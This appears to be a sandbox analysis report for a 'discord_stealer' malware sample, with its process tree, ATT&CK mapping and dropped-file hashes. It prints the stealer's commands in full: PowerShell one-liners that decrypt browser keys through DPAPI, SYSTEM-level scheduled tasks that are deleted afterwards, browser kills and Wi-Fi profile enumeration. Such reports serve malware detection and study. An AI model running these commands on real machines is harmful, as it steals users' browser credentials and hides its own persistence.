        PID:1792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "MicrosoftEdgeUpdateTask" /f 2>nul"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:1708
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "MicrosoftEdgeUpdateTask" /f
      4⤵
      PID:4100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\task.xml" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2760
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "MicrosoftEdgeUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\task.xml" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAmU7PGdSK6UKNSAWm+sgiExAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAFFZHPIRsK5Dnp41yrxg0BJZfdB+X22w7bGKsW9Sge+HAAAAAA6AAAAAAgAAIAAAANiR04KrOEL9jsNvjqGyYqJDsKbhwywKapLdUX+wOjvEMAAAAIiwhZHJ1+qjVFh/bfSUSDDvqMMGa2YjWTMv75i+GRuzAboQLuAWSryi7+jnj6DXVUAAAAAz1LQ1LULLSTnsfxa6nMWccc1hsqGjYkqU6hYNk/nYTc2EkBXkpzu3rqZ4+wt0yfk5YMzCNjceRtmbcxkMvphi');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAmU7PGdSK6UKNSAWm+sgiExAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAFFZHPIRsK5Dnp41yrxg0BJZfdB+X22w7bGKsW9Sge+HAAAAAA6AAAAAAgAAIAAAANiR04KrOEL9jsNvjqGyYqJDsKbhwywKapLdUX+wOjvEMAAAAIiwhZHJ1+qjVFh/bfSUSDDvqMMGa2YjWTMv75i+GRuzAboQLuAWSryi7+jnj6DXVUAAAAAz1LQ1LULLSTnsfxa6nMWccc1hsqGjYkqU6hYNk/nYTc2EkBXkpzu3rqZ4+wt0yfk5YMzCNjceRtmbcxkMvphi');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAmU7PGdSK6UKNSAWm+sgiExAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAilGiHNY5Bn6CDaVYbR0rt4WB9b5hX9fH+/wz8qmJP+QAAAAADoAAAAACAAAgAAAACGl5OlirRtcivT3MRSEHypDiTM7JNjOG7Zacbaz/SS0wAAAAi/zf9BKZa18jzi467Y8FpUbcDBNz07OXD4v33H25VSLSUD9elgKVptaPZVFE63ifQAAAANCLOErcFoXJHGTWZTPzU4CxUTcTrtioefZxQu4Tnuha+NeofX0ArGgJjEFQoPMv/TKfgyfasOddHSrjjBqliek=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAmU7PGdSK6UKNSAWm+sgiExAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAilGiHNY5Bn6CDaVYbR0rt4WB9b5hX9fH+/wz8qmJP+QAAAAADoAAAAACAAAgAAAACGl5OlirRtcivT3MRSEHypDiTM7JNjOG7Zacbaz/SS0wAAAAi/zf9BKZa18jzi467Y8FpUbcDBNz07OXD4v33H25VSLSUD9elgKVptaPZVFE63ifQAAAANCLOErcFoXJHGTWZTPzU4CxUTcTrtioefZxQu4Tnuha+NeofX0ArGgJjEFQoPMv/TKfgyfasOddHSrjjBqliek=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im chrome.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im chrome.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "chromeSys_1786852331810" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\chrome_sys.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1740
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "chromeSys_1786852331810" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\chrome_sys.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /run /tn "chromeSys_1786852331810""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4596
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "chromeSys_1786852331810"
      4⤵
      PID:5068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4192
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "chromeSys_1786852331810" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4084
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "chromeSys_1786852331810" /f
      4⤵
      PID:3256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\chrome_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\chrome_usr_out.bin', $dec); ""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\chrome_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\chrome_usr_out.bin', $dec); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "chromeCNG_1786852335045" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\chrome_cng.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4924
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "chromeCNG_1786852335045" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\chrome_cng.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /run /tn "chromeCNG_1786852335045""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2380
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "chromeCNG_1786852335045"
      4⤵
      PID:4920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3272
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "chromeCNG_1786852335045" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4296
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "chromeCNG_1786852335045" /f
      4⤵
      PID:3720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "chromeSys_1786852337498" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\chrome_sys.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3808
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "chromeSys_1786852337498" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\chrome_sys.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /run /tn "chromeSys_1786852337498""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "chromeSys_1786852337498"
      4⤵
      PID:3032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "chromeSys_1786852337498" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4908
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "chromeSys_1786852337498" /f
      4⤵
      PID:1992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\chrome_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\chrome_usr_out.bin', $dec); ""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\chrome_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\chrome_usr_out.bin', $dec); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "chromeCNG_1786852340545" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\chrome_cng.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3900
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "chromeCNG_1786852340545" /tr "powershell.exe -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\chrome_cng.ps1\"" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /run /tn "chromeCNG_1786852340545""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3980
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "chromeCNG_1786852340545"
      4⤵
      PID:1248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3572
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "Start-Sleep -Seconds 1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "chromeCNG_1786852340545" /f"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:1840
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /tn "chromeCNG_1786852340545" /f
      4⤵
      PID:4348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im msedge.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3924
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im msedge.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\edge_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\edge_usr_out.bin', $dec); ""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:368
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\edge_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\edge_usr_out.bin', $dec); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\edge_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\edge_usr_out.bin', $dec); ""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -Command "; [Reflection.Assembly]::LoadWithPartialName('System.Security') | Out-Null; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\edge_usr_in.bin'); $dec = [Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\discord_stealer_1786852328904\\edge_usr_out.bin', $dec); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /f /im firefox.exe 2>nul"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3640
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im firefox.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4764
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\screenshot.ps1""
    3⤵
    - Executes a command shell one-liner
    PID:4152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\screenshot.ps1"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    PID:5008
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:2508
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:2044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\chrome_sys.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\chrome_cng.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3636
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\f1cqk5f4\f1cqk5f4.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RESCFBF.tmp" "c:\Windows\Temp\f1cqk5f4\CSCDF968092CDA24DCD92E2D2E8EDF5A529.TMP"
    3⤵
    PID:2828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\chrome_sys.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\discord_stealer_1786852328904\chrome_cng.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4464
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\xxkrtwnw\xxkrtwnw.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RESE431.tmp" "c:\Windows\Temp\xxkrtwnw\CSCBAE897264F9B463EB485E5738874376.TMP"
    3⤵
    PID:2768

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

Clear Persistence

T1070.009

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 3ae35c2828715a2f9a5531d334a0cfffc81396c2dc058ca42a9943f3cdc22e78
MD5 f48896adf9a23882050cdff97f610a7f
SHA1 4c5a610df62834d43f470cae7e851946530e3086
SHA512 16644246f2a35a186fcb5c2b6456ed6a16e8db65ad1383109e06547f9b1f9358f071c30cca541ca4cf7bae66cb534535e88f75f6296a4bfc6c7b22b0684a6ba9
TLSH
T14E51FD323275B1D8C9167F071E6819C053BF4355EAA4AF1CB29C221EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
MD5 a26df49623eff12a70a93f649776dab7
SHA1 efb53bd0df3ac34bd119adf8788127ad57e53803
SHA512 e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
SSDEEP 1536:0YaC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5d:0YaC+jH04tAHk1cMrxyNhftflJdvYoFw
TLSH
T170334093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ec5f19c25db8e6a89d364baeae1d7ba0762ae469fe97841baca4aed12e66154c
MD5 8c801dcaded7c08cc377f4d38d125fcb
SHA1 300cd1bf883a98382f5d78bbe01215ad9d44bc8f
SHA512 64a4043b2e6aa135b8a5ff219f4369b835ab0d92bef60a36bf4fdd601903b22446f8cfe8d3056b4fb8885b0d41d7333a5ddedc3590179e1f9df5bfe458a71b56
TLSH
T174115337B39C99A1CC86163A409DAC1172B683C741AEDEDF6BC0C214A1AF584CB71290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a2a78e9fb30fe365d454ca6bbbf950355049c978262fdf0e80cd683622cf00e9
MD5 fc28168b916bf9744961653d503e1164
SHA1 71deadab13b81a414582f931e9af010152463644
SHA512 08d828e18ccb2892f12dcbbaf5a5ffcafb4e2e768536fc46b3d2fce788c52b2f61058e1ef0a47e648e2308f4f1aeb8799bef9472726d2800fa9b775f401e08c9
TLSH
T1CF117637F39C8A21CC96163A409DAC1172B683C781AEDE9F6BC0D215E0BF584CB711A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 992B
SHA256 76f74c42e805101657051288bb943e1eacc0e1bc37830de97721032cbf18d2ec
MD5 563563dbd9535b51fda87023b885b03c
SHA1 fc0e5c50eb722b0ac45aaafb522523d5fe5d5195
SHA512 6d739b0f0ef7418d0018e3594b4cc8e99829d076b53e4ad95a1a8e0d3748faab7c82359eacae35269575b3e088c824f54e62b9c9e4d0970ce8a85399652f041e
TLSH
